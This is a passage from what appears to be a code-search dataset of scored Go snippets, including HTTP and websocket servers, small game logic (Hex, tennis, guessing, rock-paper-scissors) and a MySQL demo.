time.Hour\n\n\t// New instance of application containing dependencies\n\t// - Some are sql.<models> instances\n\tapp := &application{\n\t\tdebug:\t\t\t*debug,\n\t\terrorLog: \terrorLog,\n\t\tinfoLog: \tinfoLog,\n\n\t\tbattles: \t&sqlite3.BattleModel{DB: db},\n\t\tboards: \t&sqlite3.BoardModel{DB: db},\n\t\tplayers: \t&sqlite3.PlayerModel{DB: db},\n\t\tpositions: \t&sqlite3.PositionModel{DB: db},\n\t\tships: \t&sqlite3.ShipModel{DB: db},\n\n\t\tsession:\t\tsession,\n\t\ttemplateCache: \ttemplateCache,\n\t}\n\n\t// Struct to hold non-default TLS settings\n\ttlsConfig := &tls.Config {\n\t\tPreferServerCipherSuites: \ttrue,\t// this serves many purposes ---> \t// a.) ignored if TLS 1.3 is negotiated\n\t\tCurvePreferences:\t\t\t[]tls.CurveID{tls.X25519, tls.CurveP256},\t// b.) prefer the cipher suites that are first in the slice\n\t\tCipherSuites: []uint16 {\t\t\t\t\t\t\t\t\t\t\t\t// c.) also meant to prioritize what is best for my server's hardware\n\t\t\ttls.TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384, \t\t\t\t\t\t\n\t\t\ttls.TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384, \n\t\t\ttls.TLS_ECDHE_ECDSA_WITH_CHACHA20_POLY1305, \n\t\t\ttls.TLS_ECDHE_RSA_WITH_CHACHA20_POLY1305, \n\t\t\ttls.TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256, \n\t\t\ttls.TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256,\n\t\t},\n\t\tMinVersion: tls.VersionTLS12,\n\t\tMaxVersion: tls.VersionTLS13,\n\t}\n\n\tsrv := &http.Server{\n\t\tAddr: \t\t*port,\n\t\tErrorLog: \t\terrorLog,\t\t\t// make custom errorLog available to server\n\t\tHandler: \t\tapp.routes(),\n\t\tTLSConfig: \t\ttlsConfig,\t\t\t// tslConfig defined above\n\t\tIdleTimeout:\ttime.Minute,\t\t// Keep-alives on accepted connections prevent\n\t\tReadTimeout: \t5 * time.Second,\t// having to repeat the handshake, but \n\t\tWriteTimeout: \t10 * time.Second,\t// idle connections need to be closed\n\t\tMaxHeaderBytes:\t520192,\t\t\t\t// Short ReadTimeout helps prevent against \n\t\t\t\t\t\t\t\t\t\t\t// slow-client attacks - Slowloris\n\t\t\t\t\t\t\t\t\t\t\t// WriteTimeout prevents the data that the \n\t\t\t\t\t\t\t\t\t\t\t// handler returns from taking too long to write.\n\t\t\t\t\t\t\t\t\t\t\t// It is not meant to prevent long-running handlers\n\t}\n\n\tif app.debug {\n\t\tinfoLog.Printf(\"** You have turned Debugging ON for this session **\")\n\t\tinfoLog.Printf(\"** You will want to leave it OFF in production **\")\n\t}\n\tinfoLog.Printf(\"** Starting HTTPS server on %s **\", *port)\n\t// Start the HTTPS server, pass in the paths to the TLS cert\n\t// and corresponding private key\n\terr = srv.ListenAndServeTLS(\"./tls/cert.pem\", \"./tls/key.pem\")\n\terrorLog.Fatal(err)\n}", "title": "" }, { "docid": "b9d0bc59c8a1149f5f4336f69a9c3f77", "score": "0.45818627", "text": "func planbotHandler(w http.ResponseWriter, r *http.Request) {\n\tif r.FormValue(\"token\") != bot.Config.Token {\n\t\thttp.Error(w, \"Invalid token in slashcommand setup!\", http.StatusBadRequest)\n\t\treturn\n\t}\n\n\tuserName := r.FormValue(\"user_name\")\n\ttext := r.FormValue(\"text\")\n\twords := strings.Fields(text)\n\n\tresponse, status := bot.HandleRequest(userName, words)\n\tresponseJson, err := json.Marshal(response)\n\tif err != nil {\n\t\thttp.Error(w, \"Cannot marshal JSON in plan-b-ot\", http.StatusInternalServerError)\n\t\treturn\n\t}\n\n\tif status != http.StatusOK {\n\t\thttp.Error(w, response.Text, status)\n\t\treturn\n\t}\n\n\tw.Header().Set(\"Content-Type\", \"application/json\")\n\tw.WriteHeader(status)\n\tw.Write(responseJson)\n}", "title": "" }, { "docid": "975681343458493cbb18de7bd2583ddd", "score": "0.45815074", "text": "func Play(boardSize int, players [2]hexplayer.HexPlayer, numGames int,\n\tconn *websocket.Conn, resultChanWins chan [2][2]int,\n\tresultChanLengths chan [2][2][2]float64, outDir string) {\n\n\tif conn != nil {\n\t\tdefer conn.Close()\n\t}\n\n\tvar passiveClient hexplayer.HexPlayer\n\tif conn != nil && players[0].GetType() != hexplayer.HumanType && players[1].GetType() != hexplayer.HumanType {\n\t\t// Create a passive player to show the game in browser\n\t\tpassiveClient = hexplayer.CreateHumanPlayer(conn, hex.None)\n\t}\n\n\toutFile, err := os.Create(fmt.Sprintf(\"%sgames_%s_%s_%s_%d.txt\",\n\t\toutDir, time.Now().Format(\"20060102T150405\"),\n\t\tplayers[0].GetType().String(),\n\t\tplayers[1].GetType().String(), numGames))\n\tif err != nil {\n\t\tfmt.Println(err)\n\t\treturn\n\t}\n\n\toutFile.WriteString(fmt.Sprintf(\"%s: %s\\n\", players[0].GetColor().String(),\n\t\tplayers[0].GetType().String()))\n\toutFile.WriteString(fmt.Sprintf(\"%s: %s\\n\", players[1].GetColor().String(),\n\t\tplayers[1].GetType().String()))\n\n\tresults, gameLengthList := playNGames(boardSize, players, passiveClient, numGames, outFile)\n\tlengths := [2][2][2]float64{}\n\tfor wp := range gameLengthList {\n\t\tfor sp := range gameLengthList[wp] {\n\t\t\tavgLen := avg(gameLengthList[wp][sp])\n\t\t\tstdLen := std(gameLengthList[wp][sp], avgLen)\n\t\t\tlengths[wp][sp] = [2]float64{avgLen, stdLen}\n\t\t}\n\t}\n\n\toutFile.WriteString(\"\\n*** Final results ***:\\n\")\n\toutFile.WriteString(fmt.Sprintf(\"Player %s: %d\\n\", players[0].GetColor().String(), results[0]))\n\toutFile.WriteString(fmt.Sprintf(\"Player %s: %d\\n\", players[1].GetColor().String(), results[1]))\n\n\tif resultChanWins != nil {\n\t\tresultChanWins <- results\n\t}\n\tif resultChanLengths != nil {\n\t\tresultChanLengths <- lengths\n\t}\n}", "title": "" }, { "docid": "4c9f698194ee6d92c8c0156350458134", "score": "0.45801723", "text": "func main() {\n\task := make(chan int);\n\thsc := make(chan int);\n\treport := make(chan int);\n\tgo func() { \t// server process\n\t\tvar highscore int;\n\t\tvar new int;\n\t\tvar cid int;\n\t\thighscore = 0;\n\t\tfor {\n\t\t\tselect {\n\t\t\tcase cid = <- ask:\n\t\t\t\thsc <- highscore;\n\t\t\t\tprint(cid);\n\t\t\t\tprint(highscore)\n\t\t\tcase new = <- report:\n\t\t\t\tif highscore < new { highscore = new } else {}\n\t\t\t}\n\t\t}\n\t}()\n\t// client process\n\tvar id int;\n\tvar best int;\n\tvar new int;\n\tid = 0;\n\tfor {\n\t\task <- id;\n\t\tbest = <- hsc;\n\t\tnew = 10;\n\t\tif best < new {\n\t\t\tbest = new;\n\t\t\treport <- best\n\t\t} else {}\n\t}\n}", "title": "" }, { "docid": "869abd4d8a6330f31282ef6931cbb5d7", "score": "0.45793295", "text": "func play(p1 *Player, p2 *Player, mode string) {\n\n\tif(strings.EqualFold(p1.playerScoreName, \"Advantage\") && strings.EqualFold(p2.playerScoreName, \"Advantage\")) {\n\t\tfmt.Println(\"Only one player may be at advantage...Stopping execution\")\n\t\tos.Exit(3)\n\t}\n\n\n\t//Draw the table header depending on sets or game\n\tif(strings.EqualFold(mode, \"game\")) {\n\t\tdrawTable(p1.playerScoreName, p2.playerScoreName)\n\t} else {\n\t\tdrawSetTable(p1.playerScoreName, p2.playerScoreName, p1.playerWins, p2.playerWins)\n\t}\n\n\t\tscanner := bufio.NewScanner(os.Stdin)\n\n\t\tfor scanner.Scan() {\n\t\t\ttext := scanner.Text()\n\n\t\t\t//Player One scores\n\t\t\tif(strings.EqualFold(text, p1.playerName + \" Scores!\")) {\n\t\t\t\tif(strings.EqualFold(mode, \"game\")) {\n\t\t\t\t\tplayerOneScore(p1, p2)\n\t\t\t\t} else {\n\t\t\t\t\t//Game mode is sets\n\t\t\t\t\tplayerOneScoreSet(p1, p2)\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t//Player Two Scores\n\t\t\tif(strings.EqualFold(text, p2.playerName + \" Scores!\")) {\n\n\t\t\t\tif(strings.EqualFold(mode, \"game\")) {\n\t\t\t\t\tplayerTwoScores(p1, p2)\n\t\t\t\t} else {\n\t\t\t\t\t//Game mode is sets\n\t\t\t\t\tplayerTwoScoreSet(p1, p2)\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t//Invalid input\n\t\t\tif(!strings.EqualFold(text, p1.playerName + \" Scores!\") && !strings.EqualFold(text, p2.playerName + \" Scores!\")) {\n\t\t\t\tfmt.Println(\"Invalid Input\")\n\t\t\t}\n\t\t}\n}", "title": "" }, { "docid": "19277d534b410635660c710a8904010b", "score": "0.4575134", "text": "func main() {\n\n\t// 1. Echo \n\thttp.HandleFunc(\"/echo\", func(w http.ResponseWriter, r *http.Request) {\n\n\t\trecords := validate(w, r)\n\n\t\tif records != nil {\n\t\t\techoArray(w, records)\n\t\t}\n\n\t})\n\n\t// 2. Invert \n\thttp.HandleFunc(\"/invert\", func(w http.ResponseWriter, r *http.Request) {\n\n\t\trecords := validate(w, r)\n\n\t\tif records != nil {\n\t\t\tinvert(w, records)\n\t\t}\n\n\t})\n\n\t// 3. Flatten\n\thttp.HandleFunc(\"/flatten\", func(w http.ResponseWriter, r *http.Request) {\n\n\t\trecords := validate(w, r)\n\n\t\tif records != nil {\n\t\t\tflatten(w, records)\n\t\t}\n\n\t})\n\n\t// 4. Sum\n\thttp.HandleFunc(\"/sum\", func(w http.ResponseWriter, r *http.Request) {\n\n\t\trecords := validate(w, r)\n\n\t\tif records != nil {\n\t\t\toperationMath(w, records, SUM)\n\t\t}\n\n\t})\n\n\t// 5. Multiply\n\thttp.HandleFunc(\"/multiply\", func(w http.ResponseWriter, r *http.Request) {\n\n\t\trecords := validate(w, r)\n\n\t\tif records != nil {\n\t\t\toperationMath(w, records, MULTIPLY)\n\t\t}\n\n\t})\n\n\t// OPEN THE SERVER TO RUN\n\thttp.ListenAndServe(\":8090\", nil)\n\n}", "title": "" }, { "docid": "92daacefa92b4b3c429bd54294d57a4c", "score": "0.45709923", "text": "func main() {\n\t// port := os.Getenv(\"PORT\")\n\t// if port == \"\" {\n\t// \tlog.Fatal(\"$PORT must be set\")\n\t// }\n\topenbrowser(\"http://localhost:1323/\")\n\tdir, err := filepath.Abs(filepath.Dir(os.Args[0]))\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\n\te := echo.New()\n\te.Static(\"/\", dir+\"/\"+\"index.html\")\n\tfmt.Println(dir + \"/\" + \"index.html\")\n\te.POST(\"/scrape\", handleScrape)\n\te.Start(\":1323\")\n\n}", "title": "" }, { "docid": "352b6e123afa25164f711400b07fe894", "score": "0.45668226", "text": "func Web(w http.ResponseWriter, r *http.Request, p martini.Params) {\n\tAPIKey := p[\"apikey\"]\n\t_, err := customer.GetUserByAPIKey(APIKey)\n\tif err != nil {\n\t\tmsg := \"Invalid APIKey, \"\n\t\thttp.Error(w, msg+err.Error(), http.StatusBadRequest)\n\t\treturn\n\t}\n\tif r.Method != \"GET\" {\n\t\tmsg := \"Method not allowed\"\n\t\thttp.Error(w, msg, http.StatusInternalServerError)\n\t\treturn\n\t}\n\t// TODO: FIX: \"http://\" used here! Maybe set \"origin\" option in /etc/apollos.conf\n\t/**if origin := r.Header.Get(\"Origin\"); origin != \"http://\"+r.Host {\n\t\thttp.Error(w, \"Origin not allowed\", http.StatusForbidden)\n\t\treturn\n\t}**/\n\tws, err := websocket.Upgrade(w, r, nil, 1024, 1024)\n\tif _, ok := err.(websocket.HandshakeError); ok {\n\t\tmsg := \"Not a websocket handshake\"\n\t\thttp.Error(w, msg, http.StatusBadRequest)\n\t\treturn\n\t} else if err != nil {\n\t\thttp.Error(w, err.Error(), http.StatusInternalServerError)\n\t\treturn\n\t}\n\tconn := &wsConn{send: make(chan []byte, 256), ws: ws, APIKey: APIKey}\n\tBridge.registerWeb <- conn\n\tdefer func() { Bridge.unregisterWeb <- conn }()\n\tgo conn.writer()\n\tconn.reader(Bridge.broadcastToAgent)\n}", "title": "" }, { "docid": "c35b250a5a627d4b822ce1bd0db62749", "score": "0.45599592", "text": "func ServeWs(hub *sock.Hub, w http.ResponseWriter, r *http.Request) {\n\tfmt.Println(\"welcome\")\n\tconn, err := upgrader.Upgrade(w, r, nil) // do socket conn\n\tif err != nil {\n\t\tlog.Println(err)\n\t\treturn\n\t}\n\t_, p, err := conn.ReadMessage()\n\tif err != nil {\n\t\tlog.Println(err)\n\t}\n\tfmt.Println(\"Client connected: \", string(p))\n\n\t// toDO write p to ONLINE\n\tif p != nil {\n\t\tgo func() {\n\t\t\tuc := usecase.GetUseCase()\n\t\t\terr = uc.SetOnline(string(p))\n\t\t\tif err != nil {\n\t\t\t\tfmt.Println(\"error with setting online\", p, err)\n\t\t\t}\n\t\t}()\n\t}\n\n\tclient := &sock.Client{\n\t\tHub: hub,\n\t\tConn: conn,\n\t\tSend: make(chan []byte, 256),\n\t\tIndef: string(p),\n\t}\n\n\tclient.Hub.Register <- client\n\n\tgo client.WritePump()\n\tgo client.ReadPump()\n}", "title": "" }, { "docid": "d78573cf923af2f524b4e8b56befc870", "score": "0.4559166", "text": "func player(p map[string]interface{}, gw int) Player {\n resp, err := http.Get(string(strconv.AppendFloat([]byte(\"https://fantasy.premierleague.com/drf/element-summary/\"), p[\"id\"].(float64), 'f', 0, 32)))\n if err != nil {\n panic(err)\n }\n defer resp.Body.Close()\n\n body, err := ioutil.ReadAll(resp.Body)\n if err != nil {\n panic(err)\n }\n\n var pdetails map[string]interface{}\n if err := json.Unmarshal(body, &pdetails); err != nil {\n panic(err)\n }\n\n var gamepoints []int\n for i := 0; i < gw; i++ {\n gamepoints = append(gamepoints, 0)\n }\n\n var roundsplayed []int\n for _, gp := range pdetails[\"history\"].([]interface{}) {\n gp := gp.(map[string]interface{})\n if int(gp[\"minutes\"].(float64)) != 0 {\n if len(roundsplayed) == 0 {\n roundsplayed = append(roundsplayed, int(gp[\"round\"].(float64)))\n }\n if roundsplayed[len(roundsplayed)-1] != int(gp[\"round\"].(float64)) {\n roundsplayed = append(roundsplayed, int(gp[\"round\"].(float64)))\n }\n if (int(gp[\"round\"].(float64)) <= len(gamepoints)) {\n gamepoints[int(gp[\"round\"].(float64))-1] += int(gp[\"total_points\"].(float64))\n }\n }\n }\n\n fivegamepoints := 0\n tengamepoints := 0\n for i := 0; i < 5; i++ {\n if i < len(roundsplayed) {\n fivegamepoints += gamepoints[roundsplayed[len(roundsplayed)-1-i]-1]\n }\n }\n tengamepoints += fivegamepoints\n for i := 5; i < 10; i++ {\n if i < len(roundsplayed) {\n tengamepoints += gamepoints[roundsplayed[len(roundsplayed)-1-i]-1]\n }\n }\n\n return Player{\n id: int(p[\"id\"].(float64)), //int\n firstname: p[\"first_name\"].(string), //string\n secondname: p[\"second_name\"].(string), //string\n price: int(p[\"now_cost\"].(float64)), //int\n totalpoints: int(p[\"total_points\"].(float64)), //int\n gamepoints: gamepoints,\n fivegamepoints: fivegamepoints,\n tengamepoints: tengamepoints,\n team: int(p[\"team\"].(float64)), //int\n position: int(p[\"element_type\"].(float64)), //int\n }\n}", "title": "" }, { "docid": "ceeca14876ca0dafdfd5fd7f2ec7abe3", "score": "0.455188", "text": "func Start() {\n\t// A map of all games the server is handling\n\tgames := make(map[uuid.UUID]*game.Game)\n\n\t// Defines an endpoint to create a new game\n\thttp.HandleFunc(\"/new\", func(w http.ResponseWriter, r *http.Request) {\n\t\t// Ensure that the request is HTTP GET\n\t\tif err := methodMustBe(http.MethodGet, r); err != nil {\n\t\t\te := err.(*parseError)\n\t\t\thttp.Error(w, e.message, e.code)\n\t\t\treturn\n\t\t}\n\n\t\t// Creates the new game\n\t\tg := game.NewGame(&consolelogger.Consolelogger{})\n\t\t// Adds the game to the map\n\t\tgames[g.GetID()] = g\n\t\t// Returns the game ID\n\t\tfmt.Fprint(w, g.GetID().String())\n\t})\n\n\t// Defines an endpoint that returns if the game is running or complete\n\thttp.HandleFunc(\"/isactive\", func(w http.ResponseWriter, r *http.Request) {\n\t\tvar g *game.Game\n\t\tvar err error\n\n\t\t// Ensure that the request is HTTP GET\n\t\tif err := methodMustBe(http.MethodGet, r); err != nil {\n\t\t\te := err.(*parseError)\n\t\t\thttp.Error(w, e.message, e.code)\n\t\t\treturn\n\t\t}\n\n\t\t// Parse the request and return game or parse errors\n\t\tif g, err = parseGameFromRequest(r, games); err != nil {\n\t\t\te := err.(*parseError)\n\t\t\thttp.Error(w, e.message, e.code)\n\t\t\treturn\n\t\t}\n\n\t\tfmt.Fprint(w, g.IsActive())\n\t})\n\n\t// Defines an endpoint to make a guess\n\thttp.HandleFunc(\"/guess\", func(w http.ResponseWriter, r *http.Request) {\n\t\tvar g *game.Game\n\t\tvar guess int\n\t\tvar err error\n\n\t\t// Ensure that the request is HTTP POST\n\t\tif err := methodMustBe(http.MethodPost, r); err != nil {\n\t\t\te := err.(*parseError)\n\t\t\thttp.Error(w, e.message, e.code)\n\t\t\treturn\n\t\t}\n\n\t\t// Parse the request and return game or parse errors\n\t\tif g, err = parseGameFromRequest(r, games); err != nil {\n\t\t\te := err.(*parseError)\n\t\t\thttp.Error(w, e.message, e.code)\n\t\t\treturn\n\t\t}\n\n\t\t// Parse the request and return guess or parse errors\n\t\tif guess, err = parseGuessFromRequest(r, g); err != nil {\n\t\t\te := err.(*parseError)\n\t\t\thttp.Error(w, e.message, e.code)\n\t\t\treturn\n\t\t}\n\n\t\t// Validate that the game is still active\n\t\tif !g.IsActive() {\n\t\t\thttp.Error(w, \"game is not active\", http.StatusBadRequest)\n\t\t\treturn\n\t\t}\n\n\t\t// If valid, submit the guess and display the response\n\t\tres := g.Guess(guess)\n\t\tfmt.Fprint(w, res)\n\t})\n\n\t// Defines an endpoint that returns the number of past guesses for a give game\n\thttp.HandleFunc(\"/guesscount\", func(w http.ResponseWriter, r *http.Request) {\n\t\tvar g *game.Game\n\t\tvar err error\n\n\t\t// Ensure that the request is HTTP GET\n\t\tif err := methodMustBe(http.MethodGet, r); err != nil {\n\t\t\te := err.(*parseError)\n\t\t\thttp.Error(w, e.message, e.code)\n\t\t\treturn\n\t\t}\n\n\t\t// Parse the request and return game or parse errors\n\t\tif g, err = parseGameFromRequest(r, games); err != nil {\n\t\t\te := err.(*parseError)\n\t\t\thttp.Error(w, e.message, e.code)\n\t\t\treturn\n\t\t}\n\n\t\tfmt.Fprint(w, g.GetGuessCount())\n\t})\n\n\t// Start the server\n\tfmt.Printf(\"Starting server at port 8080\\n\")\n\tif err := http.ListenAndServe(\":8080\", nil); err != nil {\n\t\tlog.Fatal(err)\n\t}\n}", "title": "" }, { "docid": "a5f3904dfcb9a23edb49b68c2ca66c46", "score": "0.45518303", "text": "func main() {\n\tlogger := logrus.New()\n\tlogger.SetFormatter(&logrus.JSONFormatter{PrettyPrint: true})\n\n\tconf := config.New()\n\n\tif conf.Debug != \"\" {\n\t\tlogger.SetLevel(logrus.DebugLevel)\n\t}\n\n\t// spin up connection to database\n\tresource, err := database.Connect(conf, logger)\n\tif err != nil {\n\t\tlogger.WithError(err).Panic(\"failed database connection\")\n\t}\n\n\t// spin up twitter client\n\tspeaker := twitspeak.NewSpeaker(conf, logger)\n\n\t// spin up game simulation cron task (one execution per day)\n\tsimLock := simulation.SimLock{}\n\tstoryteller := simulation.NewStoryTeller(speaker, resource)\n\tsimulator := simulation.NewNormalSimulator(logger, resource, &simLock)\n\tc := cron.New()\n\tc.AddFunc(\"0 0 * * *\", func() {\n\t\tlogger.Info(\"running game simulator\")\n\t\tsimulator.Simulate()\n\t\tstoryteller.Tell()\n\t})\n\tc.Start()\n\tdefer c.Stop()\n\n\t// spin up twitter webhooks server\n\ttwitlisten.Listen(conf, speaker, resource, logger, &simLock, &simulator)\n\n\t// stop game simulation task on exit\n\n\tlogger.Panic(\"END\")\n}", "title": "" }, { "docid": "a5b1bd6ae97811b35d8dd4dbc40532d5", "score": "0.45423427", "text": "func server_handler(w http.ResponseWriter, r *http.Request) {\n\t// For this case, we will always pipe \"Hello World\" into the response writer\n\t\t\n\tfmt.Fprintf(w, \"PONG\")\n\t\n\tfmt.Println(\"RECEIVED HIT\")\n\t\n\t //fmt.Println(\"Sending: http://\"+master_host+\":15784/\"+host+\"/\"+room+\"/\"+pos+\"/\"+device+\"/\"+strength)\n\t\t\n\t parts := strings.Split(r.URL.RequestURI(),\"/\")\n\t\n\t ppos := strings.Split(parts[3],\":\")\n\t \n\t \n\t pos1,_ := strconv.Atoi(ppos[0])\n\t pos2,_ := strconv.Atoi(ppos[1])\n\t\n\t\thost := parts[1]\n\t label := parts[2]\n\t pos := [2]int{pos1,pos2} \n\t\tmac := parts[4]\n\t\trssi := parts[5]\n\t\taddr := r.RemoteAddr\n\n updated := 0\n\n //loop over what we have, update if present\n\n for _,devices := range power_rating {\n\t \n\t for idx,device := range devices {\n\t \n\t\t if (device.Mac==mac && device.Host==host){\n\t\t\t \n\t\t\t //update \n\t\t\t updated = 1\n\t\t\t power_rating[mac][idx].Rssi = rssi\n\t\t\t power_rating[mac][idx].Power = convert_power(rssi) \n\t\t\t break\n\t\t\t \n\t\t }\n\t \n\t }\n\t \n\t \n }\n \n if( updated==0 ) {\n\n\t \n\t power_rating[mac] = append( power_rating[mac],Device{Host: host,Mac: mac,Label: label,Rssi: rssi,Addr: addr, Power: convert_power(rssi), Location: pos})\n\t \n }\n\n\t // points := make([]trilateration.Point3,3)\n // dis := make([]float64,3) \n //points[i] = [3]float64{float64(device.Location[0]),float64(device.Location[1]), 0} \n\t //dis[i] = float64(100 - device.Power)\n\t\t\t //i++ \n\n\t //pretty.Print(power_rating)\n\t \n\t \n\t ym, err := yaml.Marshal(&power_rating)\n if err != nil {\n fmt.Printf(\"error: %v\", err)\n }\n fmt.Printf(\"\\n%s\\n\\n\", string(ym))\n\t \n\t fmt.Println(\"\")\n\t \n\t //i := 0\n\t \n\t max_idx := 0\n\t max := 0\n\t \n\t for _,devices2 := range power_rating {\n\t\t\n\t //i = 0 \n\t \n\t max_idx = -1\n\t \n\t max = 1 //devices2[0].Power\n\t \n\t\tfor idx2, device2 := range devices2 {\n\n\t \t\t\t \n\t\t\t if(device2.Power > max && device2.Power>0){\n\t\t\t\t \n\t\t\t\t max = device2.Power\n\t\t\t\t max_idx = idx2\n\t\t\t\t \n\t\t\t }\n\t\t\t \n\t\t\n\t } \n\t \n\t if(max_idx>-1){\n\t \n\t \n\t //send maker request to hubitat\n\t for idx2, _ := range devices2 {\n\t \n\t // this is the arrived\n\t if(max_idx==idx2){\n\t fmt.Println(\"Arrived in room: \"+devices2[max_idx].Label+ \" for device \"+devices2[max_idx].Mac)\t\n\t\t\tfor _, d := range plugin_registry.Notifiers {\n\t\t d.Arrived(devices2[max_idx].Mac,devices2[max_idx].Label)\n\t\t }\n\t \n\t }else{ //this is departed!\n\t fmt.Println(\"Departed room: \"+devices2[idx2].Label+ \" for device \"+devices2[idx2].Mac)\t\n\t \tfor _, d := range plugin_registry.Notifiers {\n\t\t d.Departed(devices2[idx2].Mac,devices2[idx2].Label)\n\t\t }\t \n\t\t \n\t }\n\t \n\n\t \n\t }\n\t \n\t \t}else{\n\t\t //we didnt get a closes room == not here!\n\t\t \n\t \t}\n\t \t\n\t \t\n\t\t \n\t\t\t\n\t }\n\t \n\n\t \n\t// pretty.Print(points)\n\t// pretty.Print(dis)\n\t// fmt.Println(\"\")\n\t /*\n\t\t Trilateration is still unsatisfactory\n\t params := trilateration.Parameters3{\n\t\tLoc: points,\n\t\tDis: dis,\n\t }\n\t \n\t result, _ := params.SolveTrilat3()\n\t \n\t pretty.Print(result)\n\t fmt.Println(\"\")\n\t */\n\t\n\t\n}", "title": "" }, { "docid": "6ff721f6c7ba0d6f8cf29a9b7925f721", "score": "0.4539733", "text": "func pong(rw http.ResponseWriter, req *http.Request) {\n\trw.Write([]byte(\"pong\\n\"))\n}", "title": "" }, { "docid": "572d5c05d6fe90fd81c2e6b83bf00fcd", "score": "0.45386374", "text": "func handler(w http.ResponseWriter, r *http.Request) {\n\t \n fmt.Println(\"method:\", r.Method) //get request method\n if r.Method == \"GET\" {\n \t\n t, _ := template.ParseFiles(\"form.html\")\n t.Execute(w, nil)\n \n } else {\n \t\n \t\n\t r.ParseForm()\n\t\n\t\tterm := string(r.FormValue(\"Search Term\"))\n\t timeP := string(r.FormValue(\"Search Time\"))\n\t\tchoice := string(r.FormValue(\"Choice\"))\n\t\t\n\t\t\n\t\t//send request with values to compute-service so that it can start the sentiment anlysis\n\t\t//I put it in a go routine so that the user can enter a number of terms one after another and let\n\t\t//them be searched in the background. \n\t\tgo func(){\n\t\t\t\n\t\t\tresp, _ := http.Get(\"http://compute-service:9090/start/\" + term + \"/\" + timeP + \"/\" + choice)\t\t\t\n\t\t\tresp.Body.Close()\n\t\n\t\t}()\n\n\t\t//redirect to home\n\t\thttp.Redirect(w, r, \"/home\", http.StatusSeeOther)\n\n }\t\t\n}", "title": "" }, { "docid": "b58b2d4103ae39c76084847402e9e2db", "score": "0.45341772", "text": "func announceWinner(winner string){\n\tif winner == \"Crosses\"{\n\t\twinner = players[0].name\n\t}\n\tif winner == \"Circles\"{\n\t\twinner = players[1].name\n\t}\n\tif winner == \"Draw\"{\n\t\twinner = \">> DRAW <<\"\n\n\t}\n\tfmt.Println(\"Result of the game : \"+winner)\n}", "title": "" }, { "docid": "f5f8dc2dc7f0b2791945052edf7eeee7", "score": "0.45336255", "text": "func Index(w http.ResponseWriter, r *http.Request) {\n\tJSONResponse(w, r, http.StatusOK, models.Message{\"Hello World!\"})\n}", "title": "" }, { "docid": "23b4a967956c4bd68ad098986f28ca69", "score": "0.4531209", "text": "func main() {\n\tfmt.Println(\"Starting \" + AppName)\n\tdefer fmt.Println(\"Finished \" + AppName)\n\n\thttp.HandleFunc(\"/\", func(w http.ResponseWriter, r *http.Request) {\n\t\t// Main page is in a constant defined below.\n\t\tfmt.Println(\" PageHandler\")\n\t\t_, _ = fmt.Fprintf(w, page)\n\t})\n\thttp.HandleFunc(\"/sieve/\", func(w http.ResponseWriter, r *http.Request) {\n\t\t// Sieve runs as server push and uses multiple server-side threads.\n\t\tfmt.Println(\" SieveHandler\")\n\t\t// These settings are required for server push.\n\t\tw.Header().Set(\"Content-Type\", \"text/event-stream\")\n\t\tw.Header().Set(\"Cache-Control\", \"no-cache\")\n\n\t\t// Channel for commands to server push handler in browser client.\n\t\tc := make(chan string)\n\t\t// Thread to pick up commands from channel and send to response writer.\n\t\tgo commander(w, c)\n\t\t// Generate infinite numbers in this handler thread to hold it open.\n\t\tgenerator(c)\n\t})\n\n\t// Getting an unused port is a little complicated.\n\t// First use net.Listen() to get one.\n\tvar err error\n\tvar listener net.Listener\n\tif listener, err = net.Listen(\"tcp\", \":0\"); err != nil {\n\t\tfmt.Printf(\"! Unable to create listener port: %s\\n\", err)\n\t\treturn\n\t} else {\n\t\t// At this point the port found by the Listener is available.\n\t\tfmt.Printf(\"> Connect to http://localhost:%d/\\n\",\n\t\t\tlistener.Addr().(*net.TCPAddr).Port)\n\t}\n\t// There's no need to configure any fields in the http.Server object.\n\tserver = http.Server{}\n\thandleInterrupts() // Depends on the existence of the global server object.\n\t// Use the pre-existing listener to serve web pages.\n\tif err := server.Serve(listener); err != nil {\n\t\tif errors.Is(err, http.ErrServerClosed) {\n\t\t\tfmt.Println(\"! Server terminated\")\n\t\t} else {\n\t\t\tfmt.Printf(\"* Error running web server: %s\\n\", err)\n\t\t}\n\t}\n}", "title": "" }, { "docid": "b8fc635a49713771b208da5965852e91", "score": "0.4525418", "text": "func main(){\n\tdb, err := sql.Open(\"mysql\",\"root:password@tcp(127.0.0.1:3306)/DOTAMATCH\")\n\n\tif err != nil {\n\t\tfmt.Printf(\"Open database error: %s\\n\", err)\n }\n\tdefer db.Close()\n\n\terr = db.Ping()\n\tif err != nil {\n\t\tfmt.Printf(\"%s\\n\", err)\n\t\treturn\n }\n\n\tstmtIns, err := db.Prepare(\"INSERT INTO MatchWithPlayers VALUES( ?, ? )\")\n\n\tif err != nil {\n\t\tfmt.Printf(\"%s\\n\", err)\n\t\treturn\n }\n\tdefer stmtIns.Close()\n\n\tstmtOut, err := db.Prepare(\"SELECT * FROM MatchWithPlayers WHERE matchId = ?\")\n\n\tif err != nil {\n\t\tfmt.Printf(\"%s\\n\", err)\n\t\treturn\n }\n\tdefer stmtIns.Close()\n\n\t_ ,err = stmtIns.Exec(101,10086)\n\n\tif err != nil {\n\t\tfmt.Printf(\"%s\\n\", err)\n\t\treturn\n }\n\n\trows,err := stmtOut.Query(101)\n\n\tif err != nil {\n\t\tfmt.Printf(\"%s\\n\", err)\n\t\treturn\n }\n\n\tdefer rows.Close()\n\n\tvar matchId int\n\tvar playerIds int\n\tfor rows.Next() {\n\t\terr := rows.Scan(&matchId, &playerIds)\n\n\t\tif err != nil {\n\t\t\tfmt.Printf(\"%s\\n\", err)\n }\n\t\tfmt.Println(matchId,playerIds)\n }\n\n\terr = rows.Err()\n\tif err != nil {\n\t\tfmt.Printf(\"%s\\n\", err)\n\t\treturn\n }\n}", "title": "" }, { "docid": "5ae63c6227b2f8943fbd3a41126dfd8e", "score": "0.4525143", "text": "func Index(w http.ResponseWriter, r *http.Request) {\n\tfmt.Fprintf(w, \"hola\")\n}", "title": "" }, { "docid": "4623e893d5c950c798291c0b2353994c", "score": "0.45224902", "text": "func winner(userchoice, computerchoice string) (int, string) {\n\twinner := \"Draw\"\n\tswitch {\n\tcase userchoice == computerchoice:\n\t\treturn 3, \"draw\"\n\tcase userchoice == \"scissors\" && 